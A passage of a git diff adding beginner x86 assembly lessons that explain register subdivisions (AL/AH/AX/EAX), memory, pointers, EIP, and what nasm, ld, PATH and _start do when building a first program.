+So let's line them up: `AL` = the very bottom byte, `AH` = the byte just above it, `AX` = these two together (the lower 16 bits), `EAX` = all of it (32 bits). Four different names — but all four are differently-sized slices of the **same register.**
+
+---
+
+## The Most Important Part: Same Bits, Different Window
+
+This is the one critical idea in this lesson, and it's the sentence you should keep in mind: **AL, AH, AX and EAX are NOT four separate boxes.** They're all views into the same single box, through windows of different sizes.
+
+The consequence: if you change `AL`, you've also changed the lowest byte of `EAX` — because they are **physically the same bits.** Not separate copies, the same place. With a concrete example:
+
+```
+ Suppose: EAX = 0x11223344
+
+ Then: AL = 0x44 (lowest byte)
+ AH = 0x33 (the byte just above it)
+ AX = 0x3344 (the low two bytes together)
+
+ Now if you write 0xFF to AL:
+
+ EAX = 0x112233FF
+ ▲▲
+ only the lowest byte changed; the rest stayed in place
+```
+
+Why is `AL = 0x44`? Recall from 03: the **rightmost** digit is the smallest value — so the lowest byte of a number is always the rightmost two hex digits. The rightmost of `0x11223344` is `44` → `AL`, and the `33` to its left → `AH`. (Don't start from the left and mistake `0x11` for `AL`; the low byte is always at the right end.)
+
+As you can see, touching `AL` affected `EAX` too — because `AL` is nothing more than an alias for one corner of `EAX`. Remember the "box" metaphor from 04: this is still **a single pocket box;** you're just choosing whether you're looking at (and writing to) the whole of it or one corner of it.
+
+> 🔑 In one sentence: `AL`/`AH`/`AX`/`EAX` are not separate registers, they are windows onto the same register, from small to large. Writing to a small window also changes that part of the large window.
+
+> ⚠️ One of the most frequent sources of error later on is exactly here: being surprised, "I wrote to AL, why did EAX change?" You already know the answer — because the two are the same bits. Keep this sentence in your pocket.
+
+> 💡 **Something that may nag at you:** *"If there's an important big number sitting in EAX and I write to the AL corner, won't that number get corrupted and turn into garbage? Shouldn't I check whether 'EAX is empty' before using it?"* You don't ask "is it empty" — a register always holds something, and you **know what it holds** (because you put it there). There are three cases: if its contents are no longer needed, writing over them is perfectly normal anyway (registers are constantly reused). If you specifically want to change just that byte, AL is exactly the tool. But if its contents are **still needed**, either you use a different register (`EBX`/`ECX`/`EDX`) for your byte-sized work, or you first **save** EAX somewhere and then restore it later (we'll see this "save–restore" in lesson 14, on the stack). So corruption happens only if you overwrite a value that is *still needed*; the fix is not "ask whether it's empty" but **"know what it holds and don't overwrite what you need."** The worker will happily write to AL without checking what's in EAX — protecting your data is your job.
+
+---
+
+## Which Registers Have This?
+
+This full pattern — 32, 16, and two separately-accessible 8-bit bytes — is found in the main four registers:
+
+```
+ EAX → AX → AH / AL
+ EBX → BX → BH / BL
+ ECX → CX → CH / CL
+ EDX → DX → DH / DL
+```
+
+In the others (`ESI`, `EDI`, `ESP`, `EBP`) things are a bit plainer: they too have a 16-bit form (`SI`, `DI`, `SP`, `BP`), but in our 32-bit world there is **no** "high byte / low byte" split like `AH`/`AL`. So on those you have "use half of it," but not "pick that single byte of it."
+
+For now keep the main four (`EAX`–`EDX`) and their `AH`/`AL` parts in mind; those are the ones you'll meet most often.
+
+---
+
+## What Is This Good For?
+
+The short answer: most of the time you don't need a full 4-byte number. A single letter (character) is exactly 1 byte — to hold it, using just `AL` rather than the whole `EAX` is both enough and clean. When you work byte by byte (text, characters, small values one at a time) `AL`/`AH` will keep coming up.
+
+> 💡 Look-ahead note: You'll see this in action, with real instructions, in [08_mov_ve_bellek](./08_mov_ve_bellek.md) and while dealing with characters. At that moment you won't ask "why `AL`?" — because by then you'll know: for a single-byte job, the register's exactly-that-byte window is enough.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ You don't always have to use a register as a whole (4 bytes); you can access a part of it too.
+☐ EAX (32 bit) → AX (lower 16 bit) → AH (high byte) + AL (low byte). From 03: byte = 8 bit = 0..255.
+☐ MOST IMPORTANT: AL/AH/AX/EAX are NOT separate boxes — they are different-sized windows onto the same box.
+ - Writing to AL also changes EAX's low byte. (The same physical bits.)
+ - E.g.: with EAX=0x11223344, AL=0x44; writing 0xFF to AL makes EAX=0x112233FF.
+☐ This pattern (32 / 16 / 8+8) exists in the main four registers: EAX/EBX/ECX/EDX → ..X → ..H / ..L.
+☐ ESI/EDI/ESP/EBP: they have a 16-bit form (SI/DI/SP/BP) but (in 32-bit) NO byte split like AH/AL.
+☐ What it's good for: for a single-byte job (e.g. a character) AL is enough instead of a whole register. Detail: 08.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — What registers are; the ground this lesson sits on
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The basis of AL/AH being "1 byte = 0..255" and of hex
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — The lesson where you'll see AL/AH in action, with real instructions
+
+---
+
+**Previous topic:** [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md)
+**Next topic:** [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/04_bellek_ve_registerlar.md b/docs/eng/konu_anlatimlari/x86_assembly/04_bellek_ve_registerlar.md
new file mode 100644
index 0000000..001761c
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/04_bellek_ve_registerlar.md
@@ -0,0 +1,315 @@
+# 🗄️ x86 Assembly — Memory and Registers
+
+> In 01 we drew a picture from a distance: a huge warehouse, a few pockets on the worker, and a very fast but very dumb worker.
+> Now we're zooming in on that picture. Exactly how big are the boxes in the warehouse, what fits inside them; how are the worker's
+> pockets different from the ones in the warehouse; and how does the worker shuttle back and forth between the two all day long?
+> This is the lesson that closes Unit 0 — by the time you're done, the picture in your head will be clear enough to put your first real code on top of.
+
+> **There's still not a single line of code in this lesson.** We're only sharpening the picture from 01: taking a close look at memory
+> and registers and establishing the relationship between them. We'll see the instructions and the real syntax in the next unit, when we
+> write and run our first program. No rush; if this ground is solid, the rest will settle into place on its own.
+
+---
+
+## 📋 Table of Contents
+
+- [A Close Look at Memory](#a-close-look-at-memory)
+- [Address or Value — Once More](#address-or-value--once-more)
+- [A Close Look at Registers](#a-close-look-at-registers)
+- [The Worker's Real Dance: Between Warehouse and Pocket](#the-workers-real-dance-between-warehouse-and-pocket)
+- [The Program Lives in These Boxes Too](#the-program-lives-in-these-boxes-too)
+- [The Worker's Finger Is a Register Too](#the-workers-finger-is-a-register-too)
+
+---
+
+## A Close Look at Memory
+
+In 01 we got to know memory as a "warehouse of numbered boxes": each box has a number, and inside it sits a number. Back then we said, "a box holds a number between 0 and 255, and we'll see why 255 later." After 03, we can finally fill in that blank.
+
+Each box is exactly one **byte** — that is, 8 switches side by side (8 bits). The smallest number a byte can hold is 0 (all off), the largest is 255 (all on). Here are those rows upon rows of memory boxes, each one a byte:
+
+```
+ Address: 0 1 2 3 4 5 ...
+ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐
+ Content: │ 72 │ │ 13 │ │ 0 │ │255 │ │ 42 │ │ 7 │ ...
+ └────┘ └────┘ └────┘ └────┘ └────┘ └────┘
+ each box = 1 byte = 8 switches = a number between 0..255
+```
+
+The boxes' numbers — that is, their **addresses** — go 0, 1, 2, 3… **consecutively**, without leaving any gaps. And as you learned in 03, at the low level these addresses are usually written in hex: something scary-looking like `0x080484b6` is really just a **box number.** Long, but a single number.
+
+Now that classic question: what if we want to hold a number bigger than 255? We put that on hold in 03 too — we said "the machine uses several bytes side by side." Here's how it happens:
+
+```
+ A large number like "1,000,000" does NOT FIT in a single box (a box holds at most 255).
+ The machine spreads it across several CONSECUTIVE boxes:
+
+ Address: 100 101 102 103
+ ┌────┐ ┌────┐ ┌────┐ ┌────┐
+ │ .. │ │ .. │ │ .. │ │ .. │ ← 4 boxes TOGETHER = a single big number
+ └────┘ └────┘ └────┘ └────┘
+```
+
+So a large value means "several boxes side by side, read together." A single box is small; but boxes are cheap and ordered, so you can combine as many as you want.
+
+> 🔑 Memory in two sentences: (1) each box is exactly 1 byte, holding 0–255; (2) a larger number is several consecutive boxes held together. The box's **number = address** (usually written in hex), the box's **inside = value**.
+
+> 💡 Forward-note: We said "several boxes together," but the *order* in which these bytes get lined up in memory follows its own rule (one that seems odd the first time you see it). We'll see it when we actually look at memory with GDB ([07_gdb_tek_adim](./07_gdb_tek_adim.md), [08_mov_ve_bellek](./08_mov_ve_bellek.md)). For now it's enough to say "big number = several boxes" — the order isn't a worry.
+
+> 💡 **You might be wondering:** *"That dumb worker — how does it know whether 4 boxes side by side are a single big number or 4 separate small numbers? What if I put 4 independent small values there?"* It doesn't know — there's no label on the boxes saying "we belong together." The grouping is determined entirely by the **instruction**: if it says "read 1 byte from box 100," it's a single small number; if it says "read 4 bytes," all four together are one big number. So it's **your** responsibility to read the data the way you wrote it; if you read it at the wrong size, a nonsense number comes out and the machine won't stop you. (This is exactly the "the instruction gives the meaning" rule from [01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md).)
+
+---
+
+## Address or Value — Once More
+
+In 01 we called this the distinction that "trips people up most often down the road"; it's so important that let's reinforce it once more, with a fresh example. Let's look at box number 5 in memory and say it holds 12:
+
+```
+ box number 5
+ ┌──────┐
+Address 5→│ 12 │← Value 12
+ └──────┘
+ "the box's PLACE" = 5 "the box's INSIDE" = 12 (two separate numbers)
+```
+
+Address 5, value 12. Two numbers that look nothing alike, two separate roles. Think about this for a second: if someone tells the worker "bring box number 12," does the worker bring **box 5**, which has 12 inside it? No — it goes to a completely different box, **box 12**. Because "12" here was said as an address, not as a value.
+
+Now a strange but powerful idea: the number **inside** a box can perfectly well be another box's **number.** If box 5 holds 12, you can also read it as "box 5 is *pointing me* to 12" — as if one box points at another box.
+
+> 🔑 The same number can play the role of a **value** in one place and an **address** in another. Which role you read it in is determined by **the command you give the worker** — the box itself doesn't know, doesn't care. The "literally obedient worker" idea from 01 comes in handy right here: you supply the meaning, it just does what it's told.
+
+Let's make this a bit more concrete, because it'll be very useful down the road. Say box 5 again holds 12, and box 12 holds 99. If we tell someone "go to the place box 5 *points to*," they have to take two steps:
+
+```
+ 1) First look at box 5 → it holds 12 inside
+ 2) Read that 12 as an ADDRESS,
+ go to box 12 → the value you actually want is there (99)
+
+ ┌──────┐ ┌──────┐
+ Address 5│ 12 │ ──────────────────► │ 99 │ Address 12
+ └──────┘ "go to box 12" └──────┘
+ (holds an ADDRESS) (the actual VALUE)
+```
+
+So box 5 holds, not the actual data, but **where** the actual data is. A box like this, holding another box's address inside it, is called a **pointer**: "box 5 points to box 12."
+
+Ground it in everyday life: it's like a coat-check ticket. The ticket itself is not your coat; the number on it tells the attendant **which hook** your coat is on. Or an address book — the "Alice" line doesn't contain Alice's house, it contains **where** her house is. A pointer is exactly like this: it carries not the data, but the location of the data.
+
+So what's it good for? Because instead of carrying a huge thing from hand to hand, just saying "it's over there" is often much cheaper — like giving someone your address instead of mailing them your house. As you'll see later, programs always manage large data this way, by passing its address (its pointer) around.
+
+> 💡 Forward-note: Actually *following* a pointer — going to the address inside it and grabbing the value there — takes an instruction. We'll do that with real syntax in [08_mov_ve_bellek](./08_mov_ve_bellek.md). For now it's enough for the idea to settle: **a box can hold the location (address) of another box.** If you've firmly grasped the address/value distinction, you've already understood half of what a pointer is.
+
+---
+
+## A Close Look at Registers
+
+In 01 we got to know registers as "the boxes in the worker's pocket, instantly accessible, few in number," and we heard a few of their names (EAX, EBX, ECX, EDX). Now let's zoom in on them too.
+
+**How many are there?** In x86's 32-bit world there's a handful of "general-purpose" registers. The main four are `EAX`, `EBX`, `ECX`, `EDX`; to these are added `ESI` and `EDI`; and there are two more "special-duty" ones, `ESP` and `EBP` (we'll meet them in [14_stack](./14_stack.md)). In total a bit more than the fingers on one hand — that promise from 01 is this concrete.
+
+**How big are they?** Here we pay off one of 03's debts. In 03 you saw a line like this:
+
+```
+ Example from 03: ebx = 0xffffd6a4
+ └────┬────┘
+ 8 hex digits
+
+ 1 byte = 2 hex digits → 8 hex digits = 4 byte = 32 bit
+ This is EXACTLY how much a register holds: 32 bit = 4 byte.
+```
+
+So a register holds a 4-byte number. By the "powers of 2" logic from 03, this means a range from 0 up to `2³² − 1` (exactly 4,294,967,295, or roughly 4.3 billion). Let's set it next to a memory box:
+
+```
+ Memory box: 1 byte → 0 .. 255
+ Register: 4 byte → 0 .. ~4.3 billion (exactly 2³² - 1)
+```
+
+> 💡 Forward-note: If you noticed, up to here we've always counted **from 0 upward** — both in the box and in the register. But what about negative numbers, say −7? They fit in these same bits too, no need to invent a separate box; but the question "*how* is a negative number written with these switches?" we'll open up when we see signed numbers and flags ([10_bayraklar_ve_cmp](./10_bayraklar_ve_cmp.md)). For now it's enough to say "the range is on the positive side."
+
+If you noticed, this connects to the previous section: a register carries exactly as much number as 4 memory boxes. When you drop what's inside a register into the warehouse, that value spreads across 4 consecutive boxes — which is the very thing we meant by "big number = several boxes."
+
+> 💡 Why are registers so few but so fast? Because physically they're **inside the worker itself** — on the processor. The pocket is in the worker's apron; the warehouse is across the room. What's close is fast but space is expensive (that's why there are few); what's far is plentiful but slow. We're not digging into the deep physical reasons; the intuition "close = fast + few, far = slow + plentiful" is more than enough for now.
+
+> 💡 Forward-note: The letters in the register names (A, B, C, D) and that leading "E" aren't random — there's a small but pleasant bit of history behind them. For the curious, I've told it in the [Appendix](#appendix--where-does-the-e-in-eax-come-from-history-and-reasons) at the very end; for now just think of the names as labels.
+
+---
+
+## The Worker's Real Dance: Between Warehouse and Pocket
+
+Now we come to the heart of this lesson. We've seen the two parts (warehouse + pocket) separately; but what does the worker do all day long? The answer is a **shuttling back and forth** between these two.
+
+The key rule is this: the worker does its real work — adding, subtracting, comparing — almost always **in its pocket**, that is, in the registers. It can't just grab a box sitting on a shelf in the warehouse and "play with it"; it first has to pull it into its pocket. That's why nearly every task has this three-step shape:
+
+```
+ WORKER (registers in its pocket)
+ ┌───────────────────────────┐
+ │ [EAX] [EBX] ... │
+ └───────────────────────────┘
+ ▲ FETCH │ STORE
+ │ (warehouse → pocket) ▼ (pocket → warehouse)
+ ┌─────────────────────────────────────────┐
+ │ WAREHOUSE (memory): numbered boxes │
+ └─────────────────────────────────────────┘
+
+ PROCESS = do it in the pocket (add / subtract / compare)
+```
+
+- **FETCH:** Bring the number(s) you need from the warehouse into the pocket. (memory → register)
+- **PROCESS:** Do it in the pocket — add, subtract, compare. (on the registers)
+- **STORE:** If you need to keep the result, put it back from the pocket into the warehouse. (register → memory)
+
+A concrete example (not a real instruction yet, just a plain-language draft):
+
+```
+ Task: add the number in box 100 to the number in box 200,
+ write the result to box 300.
+
+ FETCH : box 100 → EAX (warehouse to pocket)
+ FETCH : box 200 → EBX (warehouse to pocket)
+ PROCESS: add EBX to EAX (in pocket; now EAX = sum)
+ STORE : EAX → box 300 (pocket to warehouse)
+```
+
+As you can see, the whole job amounts to pulling from the warehouse into the pocket, handling it in the pocket, and if necessary dropping it back into the warehouse. This **fetch → process → store** pattern is the skeleton of nearly every program you'll write. When you see the real instructions in Unit 1, you'll recognize this shape again and again.
+
+> ⚠️ Let's head off a confusion here from the start. **fetch → do → advance** (01) and **fetch → process → store** are NOT the same thing:
+> - **fetch-do-advance:** the rhythm the worker reads *commands* — it turns once per instruction: fetch the next command, apply it, advance to the next command.
+> - **fetch-process-store:** the pattern of moving *data* between warehouse and pocket — the big picture of most programs. It's what happens inside the "do" steps above.
+>
+> In short: while individual instructions cycle through fetch-do-advance, the pattern they produce all together is fetch-process-store.
+
+> 🔑 In Unit 1 you'll meet an instruction called `mov` — that's the instruction that does the **FETCH** and **STORE** above ([08_mov_ve_bellek](./08_mov_ve_bellek.md)). **PROCESS** is the arithmetic instructions ([09_aritmetik](./09_aritmetik.md)). So this dance is nothing but the plain-language draft of the real instructions you're about to learn.
+
+> 💡 An honest little note: x86 sometimes allows shortcuts too (there are cases where you can touch a memory box directly, without always pulling into the pocket). But the basic pattern you need to keep in your head is fetch-process-store; I'll mention the exceptions when the time comes.
+
+---
+
+## The Program Lives in These Boxes Too
+
+Up to now we've always thought of the boxes as being for **data**: numbers, letters, the health in a game. But in 01 we said in passing "you put the program into memory." Let's complete that picture now: the program **itself** also lives in the same boxes.
+
+How can that be? Because every instruction the worker knows is, at the very bottom, again a **number** — the machine encodes each command with a certain number. So your "list of commands" is really just numbers written into consecutive boxes. Let's tie it to 03: those instructions you'll write in assembly live in memory as hex numbers.
+
+This also clarifies the exact meaning of the word "**fetch**" in fetch-do-advance: the worker **reads the next command from memory, from a box.** The warehouse that's there for data is also where the program lives.
+
+> 🔑 Memory holds both **data** and the **program** — both are, in the end, numbers in boxes. The "fetch" of "fetch-do-advance" means pulling the next instruction from one of these boxes.
+
+> 💡 Forward-note: The idea that "code is really data / numbers in memory" is a powerful insight that will open many doors down the road. For now we're just completing the picture: the warehouse isn't filled only with data, it's also the home of the program.
+
+---
+
+## The Worker's Finger Is a Register Too
+
+Let's close Unit 0 with one last connection. In 01, as a small 💡, we said this: "the worker holds the information 'which line of the list am I on right now,' as if keeping its finger over the line it's reading." We can now say what that finger is.
+
+That finger is a special pocket box — that is, a **register.** So what does it hold inside? The **memory address** of the next command: that is, the information of which box the worker will read its next command from.
+
+```
+ Special register ("finger") MEMORY (the program is here too)
+ ┌──────────┐ Address
+ │ 0x.... │ ──────────────────► ... ┌─────────┐
+ └──────────┘ now → │ command │ ← read from here (FETCH)
+ holds an ADDRESS inside └─────────┘
+ (which box number), ...
+ not a VALUE
+```
+
+Notice how this is a nice closing for this section's address/value lesson: this register holds not a **value** but an **address** — it carries the "which box" information, not what's inside that box. The thing we distinguished two sections ago comes in handy right here.
+
+Now let's re-read fetch-do-advance with this finger register:
+
+```
+ FETCH : read the command in the box the finger points to
+ DO : apply the command literally
+ ADVANCE: slide the finger to the box where the next command sits
+```
+
+And the "**jump / leap**" instructions we previewed in 01? They're exactly this: putting **another address** into this finger register. You make the finger jump to whichever line of the list you want — decisions and loops arise exactly this way ([11_ziplamalar](./11_ziplamalar.md)).
+
+> 💡 Forward-note: This special register's name in x86 is **EIP** (Instruction Pointer). You don't have to memorize it; when you step through the program one at a time with GDB, you'll see the finger walk from box to box *live* ([07_gdb_tek_adim](./07_gdb_tek_adim.md)). At that moment you'll say "ah, so this is what it was."
+
+> 🔑 All of Unit 0 in one breath: **memory** = numbered boxes that hold data and the program; **registers** = a few fast boxes inside the worker (one of them the finger, holding "where are we right now"); **the worker** = a very fast but very dumb being that processes the command the finger points to with fetch-do-advance, and the data with the fetch-process-store dance. That's what a computer is.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Memory box = exactly 1 byte = 8 switches = 0..255. Addresses are consecutive (0,1,2,...), usually hex.
+ - The box's NUMBER = address. The box's INSIDE = value. (Still completely separate!)
+☐ Big number (over 255) = several consecutive boxes together. (Ordering: later, in gdb.)
+☐ The same number can be a VALUE in one place, an ADDRESS in another; its role is set by the COMMAND you give the worker.
+ - "A box can hold another box's address" → the seed of the later pointer (not opening it now).
+☐ Register = fast pocket box inside the worker; FEW in number (EAX,EBX,ECX,EDX,ESI,EDI + ESP,EBP).
+☐ One register = 32 bit = 4 byte = 0..~4.3 billion. (The answer to the 8-digit "ebx = 0xffffd6a4" from 03.)
+☐ The worker's real dance: FETCH (warehouse→pocket) → PROCESS (in pocket) → STORE (pocket→warehouse). The skeleton of programs.
+ - CAREFUL: fetch-do-advance = COMMAND reading rhythm; fetch-process-store = DATA moving pattern. Don't mix them up.
+☐ The program lives in memory too: commands are numbers as well. "Fetch" = reading the next command from a box.
+☐ The worker's "finger" = a special register; it holds the ADDRESS of the next command inside it (in x86 its name is EIP).
+ - Jumping/leaping = putting another address into this finger.
+☐ Unit 0 is done: you now have the full picture in your head. In Unit 1 we'll write and run real code for the FIRST TIME.
+```
+
+---
+
+## Appendix — Where Does the "E" in EAX Come From? (History and Reasons)
+
+> This section is for the curious. If you skip it, it won't get in the way of understanding the rest of the lesson at all — but if you asked above "why A, B, C, D, and why the leading E?", the answer (and its short story) is here.
+
+### First the letters: A, B, C, D aren't random
+
+In the first x86 processors (8086/8088, 1978), the registers had specific roles, and their names came from those roles:
+
+```
+ AX → Accumulator : where the calculation "accumulates" (sums, results)
+ BX → Base : was used as the "base" in memory addressing
+ CX → Counter : counter — the repeat count of loops
+ DX → Data : extra data / helper in multiply-divide
+```
+
+Today most of these count as "general-purpose" — that is, you can put them to almost any job you want. But the names stuck, and some instructions **still** prefer certain registers (for example some loop/counter instructions like ECX, some multiply instructions like EAX/EDX). We'll see these in the relevant lessons as they come up. So they're "general-purpose" but not exactly equal — keep this small honest note in your pocket.
+
+### Then the leading "E": Extended
+
+On the old machines these registers were **16-bit** — that is, AX, BX, CX, DX held 16 bits (2 bytes). With the 80386 processor (1985) the registers were extended to **32 bits**. This extended form was called "**E**xtended AX" → **EAX**. So the leading E, in short, means "extended, 32-bit version."
+
+The nice part: the old 16-bit AX didn't disappear — today AX lives on as the name for accessing the **lower 16 bits** of EAX:
+
+```
+ EAX (32 bit)
+ ┌───────────────────────────────────┐
+ │ │ AX │ AX = lower 16 bits of EAX
+ │ │ (16 bit) │
+ └───────────────────────────────────┘
+```
+
+(As for AX itself being split internally into two bytes called AH and AL — and why that means "not separate boxes, but different windows onto the same bits" — we look at that in the very next short interlude lesson, [04.5_registerin_ici](./04.5_registerin_ici.md). For now it's enough to say "AX is the small form of EAX.")
+
+### And afterward: RAX (64-bit)
+
+Let's complete the story: on 64-bit machines the same register grew once more, became 64 bits, and its name became **RAX** (the R here from "register," a bit arbitrary). So the same pocket box has three sizes it has grown into:
+
+```
+ AX (16-bit) → EAX (32-bit) → RAX (64-bit)
+```
+
+In this course we work at the **32-bit (EAX)** tier. But if you see AX, EAX, or RAX somewhere, you now know: they're all the same register at different sizes.
+
+> 🔑 Summary: The letters (A/B/C/D) came from old special roles; the leading **E** = Extended (16→32-bit expansion). AX(16) → EAX(32) → RAX(64) are three sizes of the same box. Our world is EAX.
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — The source of the box/register/worker model we deepened in this lesson
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — Going one level deeper inside the registers: AL, AH, and "same bits, different window"
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — Where the "fetch → store" dance is done with real instructions
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — The lesson where you'll watch registers, addresses, and the "finger" walking, live
+
+---
+
+**Previous topic:** [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md)
+**Next topic:** [04.5_registerin_ici.md](./04.5_registerin_ici.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md b/docs/eng/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
new file mode 100644
index 0000000..1ad5847
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
@@ -0,0 +1,150 @@
+# 🔧 x86 Assembly — Behind the Curtain: What Did Those Commands Actually Do?
+
+> In 05 you wrote three commands and the program ran: `nasm`, `ld`, `./ilk`. It worked — but
+> if something is nagging at you about "what exactly happened behind the curtain?", this lesson is just for you.
+> We unpack three good "why"s one by one: how the shell finds the program, why you still need
+> `ld` even though `nasm` already assembled it, and whether the word `_start` is really "magic".
+
+> **This lesson is an optional deep dive.** If you finished 05 you can go straight to 06, you won't
+> miss anything. But if one of the questions above is nagging at you too, the answers are here — and all of them
+> **tested** on my own machine, with real output. We're still not memorizing new commands; we're just understanding what happened.
+
+---
+
+## 📋 Table of Contents
+
+- [Why Do We Write `./ilk`?](#why-do-we-write-ilk)
+- [If `nasm` Assembled It, Why Do We Need `ld`?](#if-nasm-assembled-it-why-do-we-need-ld)
+- [Is `_start` a Magic Word?](#is-_start-a-magic-word)
+
+---
+
+## Why Do We Write `./ilk`?
+
+In 02 we typed `ls`, `echo` and they ran without anything in front of them. But when you call your own program `ilk` it can't find it — you absolutely need `./ilk`. Is the worker blind? No. The issue is **where the shell looks for the command.**
+
+When you type `ls`, the shell doesn't pull it out of thin air; it searches a fixed list of folders called the **PATH**. This list looks something like:
+
+```
+ PATH = /usr/bin : /bin : /usr/local/bin : ... (folder after folder)
+ │
+ └─ "ls" sits here (/usr/bin/ls) → found → ran
+```
+
+Programs like `ls`, `echo` live in one of these folders; the shell walks the list, finds them, runs them. But your `ilk` program is **in the folder you're in** (say `~/Desktop`), and that folder is **not** on this list. Result:
+
+```
+ "ilk" → shell looks in the PATH folders → not there → "command not found"
+ "./ilk" → "don't look at the list at all, run the ilk in EXACTLY THIS FOLDER" → runs
+```
+
+So why isn't the folder you're in on the PATH? **Security.** If it were searched automatically, someone could give a malicious program the name `ls` and drop it in a folder; when you `cd` into there and type `ls`, you'd unknowingly run theirs instead of the real `ls`. That's why the folder you're in is never searched automatically — if you're going to run something from there, you have to say so **explicitly**.
+
+`./` says exactly that: `.` = "this folder", `/` = separator. So `./ilk` = "run the `ilk` that is **right here, in this folder**." It means: don't trust the list, I'm telling you the location.
+
+> 🔑 The shell searches for commands in a folder list called the **PATH**. `ls` is on that list; your new program isn't. `./` = "don't look at the list, run the one **in this folder**." The folder you're in not being on the list isn't a flaw, it's a deliberate **security** measure.
+
+---
+
+## If `nasm` Assembled It, Why Do We Need `ld`?
+
+What `nasm` does is clear: it assembles the asm you wrote into machine code and gives you `ilk.o`. A reasonable question: since it's already been assembled into the numbers the worker understands, why can't we run it directly instead of `ld` stepping in between? There's no other "to-be-combined" piece around either.
+
+The answer: that `.o` file **isn't a full program yet** — in your words, a half-baked cake. When I ask the `file` command, it plainly distinguishes the two:
+
+```
+ ilk.o : ELF 32-bit ... relocatable ← "relocatable" = not yet runnable
+ ilk : ELF 32-bit ... executable ← the actual program (runs)
+```
+
+I tried forcing the `.o` to run (`chmod +x ilk.o; ./ilk.o`) and the kernel cut it short:
+
+```
+ ./ilk.o → Exec format error
+ (kernel: "this is not a runnable program")
+```
+
+So the `.o` really can't run; something is missing. `nasm` produced the machine code, but for the program to be loadable by the operating system, two more things are needed, and **`ld` adds them:**
+
+1. **The program "envelope" (headers).** A running program wants a cover that tells the kernel "load me at this spot in memory, start me from here (entry point), and what permission each part has." The `.o` doesn't have this cover.
+2. **Addresses getting finalized.** In the `.o`, some addresses hold a blank spot marked "to be filled once everything is placed in memory". `ld` decides the final layout and fills those blanks.
+
+And the name "linker" really comes from this: in big programs there are **many** `.o` files and ready-made libraries. `ld`'s job is to link a `call` in one file to a function in another file and stitch them all into a **single** program. In yours there's no piece to be linked from outside — but `ld` is still required because it does the "envelope + address" work above.
+
+```
+ nasm ld
+ ──────► ilk.o ──────────► ilk
+ (relocatable) (executable)
+ half-baked envelope + addresses done
+ CAN'T run alone runs
+```
+
+> 🔑 There are two separate jobs: **`nasm`** *assembles* a file's text into machine code (`.o`); **`ld`** *turns* those pieces into a real, loadable program (envelope + final addresses + stitching the pieces). The `.o` is a half-baked cake; `ld` makes it serviceable. The reason there are two steps: so you can assemble many files separately and combine them all in one go at the very end.
+
+---
+
+## Is `_start` a Magic Word?
+
+This is the cleverest question, and its answer confirms the very thesis of 01 ("the worker knows no words, only numbers"). In short: **`_start` is not for the worker (CPU), it's for the TOOLS.**
+
+The worker **never sees** the word `_start`. By the time the program runs, that word has long since turned into a **number — an address**. The worker just starts running from a certain address; it has no idea that address was once called "_start".
+
+So who cares about this word? **`ld`.** When it's setting up the program, it needs the information "**which address should it start from?**" (the entry point), and **by default it looks for a label named `_start`** and treats its address as the "start". So `_start` is a silent **agreement** between you and `ld`: "this is the name of the start."
+
+So why do we write `_start` **twice** in the program — one `global _start`, one `_start:`? Two separate jobs: `_start:` (with the colon at the end) **hangs the label** on that line, saying "this is _start". `global _start` **announces** that label **outward, to `ld`** — "let the outside of the file see this name too." Without `global`, the label stays only inside the file; `ld` wouldn't be able to find the `_start` it looks for as the default start. So `_start:` *sets* the name, `global` makes it *visible*.
+
+I tried this — I made the label `_basla` instead of `_start`:
+
+```
+ nasm -f elf32 basla.asm -o basla.o
+ → no problem. nasm didn't care about the name at all; to it, a label is just a label.
+
+ ld -m elf_i386 basla.o -o basla
+ → ld: warning: cannot find entry symbol _start; defaulting to 08049000
+ (ld: "I couldn't find the '_start' start you promised me, so I'm putting the
+ entry at the beginning of the code." In this tiny program the beginning of the
+ code happens to be exactly _basla's first instruction, so the program DOESN'T
+ crash, it runs fine — indeed I tried it, the exit came back 42. Danger only
+ arises if your start label isn't at the beginning of the code, i.e. if the
+ entry accidentally lands on data or in the middle of another instruction; that's
+ why in real/big programs _start is still expected.)
+
+ ld -m elf_i386 -e _basla basla.o -o basla
+ → ran. ("-e _basla" = telling ld "the entry point is _basla")
+```
+
+So you can write `_basla`, or `_bismillah` too — the only condition is telling `ld` "the start is this" with `-e `. The word isn't magic; it's just the name `ld` **defaults** to expecting, and it can be changed with a flag.
+
+And the beautiful part is that this is exactly the topic of **[01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md):** labels like `_start` exist purely for humans and tools. By the time `nasm`+`ld` finish their job, every name has turned into a number (address); the worker runs on numbers, the names evaporate. Meaning, again, is not inside the number, it's in the agreement.
+
+> 🔑 `_start` is not for the worker, it's for `ld`; it's `ld`'s default "start" name. If you want, you put another name and say `ld -e `. Once assembled, all names turn into numbers (addresses) — the worker never sees `_start`. (This is the live form of the idea in 01.5 that "meaning is given not by the name but by the agreement/code".)
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ The shell searches for the command on the PATH (folder list). ls is there; your program isn't.
